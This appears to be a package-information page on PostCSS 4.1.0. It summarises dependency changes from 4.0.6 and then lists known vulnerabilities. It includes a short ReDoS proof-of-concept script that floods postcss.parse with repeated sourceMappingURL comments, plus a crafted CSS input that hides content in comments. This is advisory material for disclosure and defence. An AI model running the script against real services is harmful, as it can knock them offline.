PostCSS version 4.1.0 marks a refinement over its predecessor, version 4.0.6, offering subtle but potentially impactful changes for developers leveraging this powerful CSS transformation tool. The core functionality, centered around transforming CSS with JavaScript plugins, remains consistent, ensuring a smooth transition for existing users.
A key change lies in the updated dependencies. Version 4.1.0 upgrades the source-map dependency from ~0.2.0 to ~0.4.2, potentially offering improved source map generation and debugging capabilities. This enhancement can be particularly beneficial for developers working with complex CSS transformations and preprocessors, easing the process of tracing styles back to their original source.
Furthermore, the development dependencies showcase an evolution in the testing and build ecosystem. Notably, eslint is introduced at version 0.16.1 in 4.1.0, suggesting a stronger focus on code quality and linting. Several other dev dependency upgrades are also present, like chai, mocha, request and node-sass. Conversely, version 4.0.6 included execSync, gulp-jshint, and jshint-stylish as development dependencies, which are absent in version 4.1.0, hinting at a possible shift in development workflows or tooling preferences. Developers relying on these specific tools might need to adjust their configurations accordingly when upgrading. Overall, the move towards newer versions of tools like eslint indicates a commitment to modern development practices to ensure compatibility and ease of integrations for developers.
All the vulnerabilities related to the version 4.1.0 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.